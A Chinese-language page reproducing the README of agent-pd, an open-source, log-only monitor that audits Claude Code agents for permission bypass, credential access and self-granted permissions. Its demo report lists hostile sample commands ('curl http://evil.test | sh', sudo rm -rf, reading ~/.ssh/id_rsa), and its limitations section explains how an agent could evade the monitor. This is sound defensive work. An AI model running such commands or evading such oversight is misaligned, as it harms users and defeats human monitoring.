Show HN: 为你的Claude Code代理打造的警察部门
摘要
agent-pd 是一个开源的日志和监控工具,用于 Claude Code 代理,它记录所有工具和权限事件,并通过确定性检测器重放这些事件以捕获违规行为,而不会阻止任何操作。
查看缓存全文
缓存时间: 2026/06/11 19:38
varmabudharaju/agent-pd
来源:https://github.com/varmabudharaju/agent-pd
agent-pd
你的 Claude Code 智能体的警察局
一个仅用于记录的钩子,它会记录主智能体及其所有子智能体的每一个工具与权限事件;pd CLI 会回放该日志,通过六个检测器逐一排查,并附带引用证据报告违规行为。
只抓不罚——它绝不会阻断任何操作。
许可证:Apache 2.0 (https://github.com/varmabudharaju/agent-pd/blob/master/LICENSE)
Python 3.11+ (https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml)
测试 (https://github.com/varmabudharaju/agent-pd/tree/master/docs/manual-tests/)
版本 (https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml)
运行时依赖 (https://github.com/varmabudharaju/agent-pd/blob/master/pyproject.toml)
快速开始 · 工作原理 · 检测器 · 架构 (https://github.com/varmabudharaju/agent-pd/blob/master/ARCHITECTURE.md) · 安全性 (https://github.com/varmabudharaju/agent-pd/blob/master/SECURITY.md)
镜头下的实况
这是部门的随身摄像头。agent-pd 不会阻止劫案——但你智能体的每一步行动都将被记录在案。
▶ 观看带声音的完整视频 vs. 阅读
飞行记录器 + 警用扫描器,而非防火墙。 如果你需要阻止某个操作,那还得靠 Claude Code 的权限提示或操作系统沙箱。agent-pd 告诉你的是智能体做了什么事——如实记录,事后或实时均可。
亮点
- 覆盖主智能体 + 所有子智能体,包括 Claude Code 新的动态 Workflow 工具生成的子智能体(已通过记录的
workflow-subagent钩子事件验证)。 - 六个确定性检测器,零 token 消耗——拒绝调用、越界 & 凭据访问、权限绕过、自行授权、禁用工具、偏离任务。
- 防篡改审计日志(哈希链),附带可选的宿主机外仅追加写入目标。
- 会话以名称而非 UUID 标识——
pd list和pd watch会显示每个会话的项目目录和第一条用户提示,直接从日志已有数据中推导(可回溯生效)。 - 设计诚实——它提高了门槛,但并非沙箱。详见 SECURITY.md (https://github.com/varmabudharaju/agent-pd/blob/master/SECURITY.md)。
界面效果——pd watch --all 展示三个并发会话(三个项目,主智能体 + 子智能体及其任务简报,两次真实标记和一次边界搜索夹杂在日常工作中):
本 README 中的每一张截图都是真实终端对预埋数据的三会话集群的真实回放——你可以通过
examples/demo-sessions.sh(https://github.com/varmabudharaju/agent-pd/blob/master/examples/demo-sessions.sh) 自行复现。
为什么需要它
Claude Code 智能体可以读取文件、执行 shell 命令、生成子智能体。大部分情况下这没问题——但你通常只能通过滚动查看转录记录才能知道智能体实际做了什么,而被拒绝的调用根本不会出现在转录记录中(Claude Code 会直接将其扼杀)。
agent-pd 安装一个钩子,将所有事件记录到按会话分隔的审计日志中,然后提供工具让你询问:有没有哪个智能体越界、触碰了凭据、试图提权、修改自身配置、使用了不允许的工具,或者偏离了任务指示?
工作原理(心智模型)
设置捕获(自动,每个会话) 读取(按会话或 --all) pd install-hook → 钩子在每次工具调用时触发 → pd report(事后取证) │ pd watch(实时扫描) settings.json pd judge(可选的 LLM 审查) ~/.claude/pd/audit/.jsonl
完整的系统上下文、组件、时序、检测器管道及完整性图(含渲染图片),请参见 ARCHITECTURE.md (https://github.com/varmabudharaju/agent-pd/blob/master/ARCHITECTURE.md)。
- 钩子是一个哑巴、崩溃安全的记录器。 全局注册到
~/.claude/settings.json中,在 PostToolUse / PermissionDenied / SubagentStart / SubagentStop 时触发。每次事件时,它向按会话分隔的审计文件中追加一行规范化、哈希链化的记录,并始终返回 0——绝不阻断、绝不丢失事件,同时记录所有会话。 - 所有智能都在读取器端。
pd report/pd watch将审计日志(外加子智能体转录记录和meta.json任务简报)关联成按智能体划分的记录,并运行检测器。零 LLM token——纯 Python。 - 被拒绝的调用只存在于审计日志中——而这正是为什么要创建钩子,而非仅解析转录记录的原因。
安装
bash pip install agent-pd # 从 PyPI 安装(核心;唯一运行时依赖为 PyYAML) pd install-hook # 在 ~/.claude/settings.json 中幂等地注册日志钩子
之后正常使用 Claude Code 即可。钩子会在后台记录。
可选 LLM 裁判:
pip install "agent-pd[judge]"会添加 Anthropic SDK,用于pd judge。
从源码安装(开发环境):pip install -e ".[judge]"。
快速开始
bash pd list # 列出所有会话:ID、项目目录、最后活动时间、第一条提示 pd report # 最近一个会话的违规报告 pd watch # 智能体工作时的实时“警用扫描器”信息流
会话的标识依据是什么会话,而不仅仅是 UUID——pd list 的每一行都会显示项目目录、最后活动时间以及该会话的第一条用户提示(在读取时从审计日志和转录记录中推导,因此对已有会话同样有效):
实际演示(可复现)
仓库附带一个完整的独立演示。它会构建一个临时沙箱,将几个真实的 Claude Code 钩子事件通过真实记录器传入,然后运行 pd verify 和 pd report。没有任何伪造——全部是真实引擎:
bash bash examples/demo.sh
实际输出(原文照录——亲自运行即可复现):
`` ===== pd verify ===== ✓ 链条完整 — 已验证 7 个事件 ===== pd report =====
警方报告 — 2 个智能体,6 项违规
main · proj (会话 DEMO)
5 个操作 · Bash×2 Read×2 Write×1 · 4🚨 1⚠
| 严重级别 | 违规类型 | 置信度 | 证据 |
|---|---|---|---|
| 严重 | permission_bypass | 高 | Bash: 匹配提权模式 ‘\bsudo\b’ 于 {“command”: “sudo rm -rf /tmp/cache”, …} |
| 严重 | permission_bypass | 高 | Bash: {“command”: “curl http://evil.test |
| 严重 | out_of_scope | 高 | Read 触及 /Users/you/.ssh/id_rsa (敏感文件: id_rsa) |
| 严重 | self_permission | 高 | Write 修改 …/proj/.claude/settings.json (自行授权) |
| 高 | out_of_scope | 高 | Bash 触及 /tmp/cache (项目 …/proj 外) |
Researcher (r1…)
1 个操作 · Bash×1 · 1⚠
| 严重级别 | 违规类型 | 置信度 | 证据 |
|---|---|---|---|
| 高 | tool_not_allowed | 高 | 使用了 Bash — 不在声明的允许列表 [‘Glob’, ‘Grep’, ‘Read’] 中 |
| `` |
注意哪些没有被标记:智能体合法读取项目内文件(app.py)不会产生任何违规。pd 标记了五个真正的问题——一次 sudo 提权、一次被拒绝的 curl | sh、一次读取 ~/.ssh、一次写入自身配置文件以及一次访问项目外的 /tmp——还有一个子智能体(Researcher)使用了不在其声明只读允许列表中的工具 Bash。这相当于六个检测器在一个合成会话中触发了五个。具体事件见 examples/demo.sh (https://github.com/varmabudharaju/agent-pd/blob/master/examples/demo.sh)。
还有一个多会话、多智能体集群演示——三个项目(一个支付功能开发、一个不稳定 CI 调查、一篇博客草稿),每个都包含子智能体和任务说明书,并通过同一个真实记录器传入。本 README 中的每张截图展示的就是这个:
bash bash examples/demo-sessions.sh export PD_AUDIT_DIR=/tmp/pd-demo-fleet/audit pd list --projects-dir /tmp/pd-demo-fleet/projects pd watch --all --replay --projects-dir /tmp/pd-demo-fleet/projects
对集群中不稳定 CI 会话执行 pd report——按智能体摘要、违规表格、引用证据:
想要在你自己的真实 Claude Code 会话上验证吗? 按照
docs/manual-tests/TRY-IT-LIVE.md(https://github.com/varmabudharaju/agent-pd/blob/master/docs/manual-tests/TRY-IT-LIVE.md) 中的安全约 15 分钟动手操作指南操作。
命令
bash pd install-hook # 注册日志钩子(一次性) pd list # 列出所有会话:ID · 项目 · 最后活动 · “第一条提示” pd report # 违规报告(最近一个会话) pd report --session # 指定会话 pd report --format md # md | json | both pd report --verbose # 完整证据 + 每个智能体涉及的文件 pd report --agent # 聚焦一个智能体:摘要 + 它执行的每个操作 pd watch # 最近一个会话的实时信息流 — 从当前时刻开始 # 持续输出新活动(类似 tail -f);跳过已有历史 pd watch --replay # 先回放整个会话的历史,然后持续跟踪 pd watch --all # 合并所有会话的信息流(§会话标签;每个会话 # 首次出现时打印一行介绍,包含项目名和第一条提示) pd watch --crimes-only # 安静模式:只在有异常时输出 pd watch --verbose # 显示完整命令和原因,不截断 pd watch --session # 指定会话 pd watch --no-color --no-emoji # 纯终端 / SSH pd verify # 检查审计日志的哈希链(最近一个会话) pd verify --all # 验证所有会话;篡改/截断时退出代码 2 # 设置 PD_AUDIT_KEY 以启用 HMAC 密钥完整性 pd judge # 预演(免费):条目数 / 智能体数 / ≈ token 估算 pd judge --run --via-claude-code # 通过你的 Claude 订阅确认 off_task 标记 pd judge --run --model sonnet --max 20 # 或通过按量计费的 Anthropic API pd compact [--session ID] [--prune-older-than DAYS] [--dry-run] # 压缩旧日志(.jsonl -> .jsonl.gz);跳过活跃会话; # 对检测无损。可选的按天数裁剪。 pd sink push [--session ID] [--all] # 将未发送的链式事件转发到宿主机外 # (仅追加写入目标) pd sink status [--session ID] [--all] # 每个会话已转发/最后转发时间; # 标记“远程领先”
检测器
六个确定性检测器(零 token 消耗)加上一个可选的 LLM 审查。
| 违规类型 | 严重级别 | 检测内容 | 置信度 |
|---|---|---|---|
permission_bypass | 严重 | 被拒绝的调用 + 两级Bash 扫描:永不降级的灾难性命令(rm -rf /、fork 炸弹、curl|sh、dd of=/dev/...)在任何允许规则下都保持严重;可降级的提权命令(sudo、chmod 777、清空工作目录)仅在命中精确规则时才可降级。 | 高 |
out_of_scope | 高/严重 | 文件或Bash 路径位于项目之外(自动检测:git 根目录或当前工作目录),或位于配置的 scope_dirs 之外。敏感路径(~/.ssh、~/.aws、~/.claude、/etc/shadow、shell 历史…)始终为严重,不可降级。 | 高 |
self_permission | 严重 | 任何智能体写入自己的控制文件(.claude/settings*.json、.claude/agents/*.md、pd-rules*.yaml),无论通过何种方式(Write/Edit/NotebookEdit 或 Bash cp/mv/tee/sed/python/base64/重定向),无论内容如何。 | 高 |
tool_not_allowed | 高 | 子智能体使用了不在其声明的 tools: 允许列表中的工具(.claude/agents/.md)。 | 高 |
redundant | 低 | 完全重复的工具调用(忽略 Bash description 噪声)。 | 高 |
off_task | 待审查 | 搜索/查询术语与智能体任务简报之间的词语重叠低于阈值。 | 低 — 启发式 |
五个确定性检测器可靠且免费。off_task 刻意容易误报,并硬编码为低置信度——裁判(见下文)会将其转化为高置信度判定。
权限感知的严重级别
当操作与你配置的权限允许规则(~/.claude/settings.json 或项目 .claude/settings.local.json 中的 permissions.allow)匹配时,out_of_scope 和提权命中会被降级为安静的 info 严重级别——已授权 → info,未授权 → 完整严重级别。匹配机制忠实于 Claude Code 自身的语义:shell 操作符分割(一条 Bash(git:*) 规则并不能允许 git status && rm -rf ~)、命令替换/反引号提取、重定向目标单独授权、词边界前缀(npm install:* ≠ npm installmalware),以及 gitignore 风格的通配符。歧义情况下采取保守处理 → 视为未授权(漏报比误报更糟糕)。有两类情况永不降级:敏感路径访问和定性灾难性命令。被拒绝的调用保持严重——拒绝本身按定义就是未授权。
偏离任务裁判(pd judge)——可选,成本可控
这是一个可选的 LLM 审查,会读取每个智能体的任务简报及其被标记的搜索,然后确认或剔除噪声较大的 off_task 标记。设计为几乎零成本:
- 可选——绝不会在钩子或
pd watch中运行。 - 默认仅预演——打印估算;添加
--run才会实际调用。 - 预过滤 + 批量处理——仅处理已被标记的项,每个智能体一次 API 调用。
- 两种后端:
--via-claude-code运行到无头claudeCLI(使用你的 Claude 订阅,无需 API key),或按量计费的 Anthropic API(pip install -e ".[judge]"+ANTHROPIC_API_KEY)。--model haiku|sonnet|opus(默认为 haiku),--max N。
在演示集群中,订单 API 子智能体误入了一个 CI 基础设施搜索,与其任务简报的词语重叠为零——启发式将其标记为待审查,而预演精确报出了确认它需要多少费用:
实时视图:pd watch
智能体正在做什么、违反了什么规则的实时信息流。标题标明它所附加的会话——项目目录加会话的第一条提示,因此附加到默认(最近)会话时不会有任何歧义:
每个智能体都有稳定的颜色和带有分配任务简报的横幅;每个操作都是一条带有严重级别徽章的信息流条目;底部有一个实时罪行摘要表格,按智能体统计犯罪数量。
使用 --all(合并所有会话的信息流)时,每个会话首次出现会打印一行 §sid · 项目 · “标题” 的介绍,这样交叉的会话也能区分开——参见本 README 顶部的集群截图。
--crimes-only 保持信息流安静,除非真的有异常——只有被标记的操作才会输出——按 Ctrl-C 会打印最终的罪行摘要,汇总每个会话中的每个智能体:
无需额外依赖——仅需 ANSI。完整的带注释截图集位于 docs/test-evidence.md (https://github.com/varmabudharaju/agent-pd/blob/master/docs/test-evidence.md)。
审计日志完整性 & 宿主机外写入目标
每个事件都带有 seq 和 chain = sha256(prev_chain + canonical(event))(如果设置了 PD_AUDIT_KEY 则为 HMAC-SHA256),由钩子在按会话文件锁(附带 .head.json 锚点)下计算。
pd verify 重新计算链并报告 ✓ 完整、✗ 检测到篡改 或 ✗ 已截断(退出代码 2),且与 pd compact 兼容。以下是它实际捕获两种攻击的情况——一个事件从日志尾部删除,然后是记录命令内部的一个字节被翻转(压缩后的会话仍能通过验证):
这是防篡改可察觉,而非防篡改证明:具有 Bash 权限的同一用户智能体可以重新链接整个文件。为堵住事后删除这一半的缺口,pd sink push 将每个链式事件转发到宿主机外的仅追加写入目标(文件或 http 后端;仅环境变量 PD_SINK_TOKEN;远程 token 强制 https://;不跟随重定向)。一旦事件已发送到宿主机外,本地后续的改写就无法触及它。pd sink status 当已发送的事件数量超过本地剩余量时标记“远程领先”——这是一个截断信号:
仅追加写入是一个 pd 无法强制执行的部署要求,并且写入目标并不能阻止同一用户智能体伪造条目或禁用钩子。在依赖任何这些功能之前,请阅读 SECURITY.md (https://github.com/varmabudharaju/agent-pd/blob/master/SECURITY.md) 以了解完整且诚实的说明。
当前不足(诚实的局限性)
agent-pd 提高了门槛,但并非沙箱。 一个有决心且拥有相同权限的攻击者通过混淆或间接手段可以规避静态检测。已知局限,直白表述:
- 混淆 / 间接手段可规避静态检测。 多级 `$VAR
相似文章
我为我的 Claude Code 子代理建了一个小小的“警察部门”
一个日志钩子和CLI工具,能够将所有来自Claude Code代理及子代理的工具调用和权限事件记录到会话日志中,然后重放日志以审计不当行为,如未经授权的文件读取或权限提升。这是一个只记录不拦截的飞行记录器,而非阻止器。
Show HN: Claw Patrol,面向AI Agent的安全防火墙
Claw Patrol 是一款面向AI Agent的安全防火墙,位于Agent与生产环境之间,通过HCL规则解析流量并管控行为,可拦截破坏性SQL操作,或对kubectl delete pod等风险命令要求人工审批。
Claude Code 作为日常主力工具:Claude.md、Skills、Subagents、Plugins 和 MCPs
一份面向高级开发者的全面指南,介绍如何将 Claude Code 用作可编程代理,具备记忆功能、自定义命令和项目配置。
开源面板可视化 AI 编程代理(Claude Code)
开发者发布了一款中世纪主题的开源面板,将多个 Claude Code 代理以 2D 村庄角色的形式可视化,简化并行编码会话的实时跟踪。
Show HN:adamsreview – 为 Claude Code 提供优化的多智能体 PR 审查
介绍 adamsreview,这是一个开源的 Claude Code 插件,它通过采用并行子代理、验证关卡以及自动修复循环的多智能体流水线,能够以更少的误报检测出更多 Bug,从而增强拉取请求(Pull Request)的审查效果。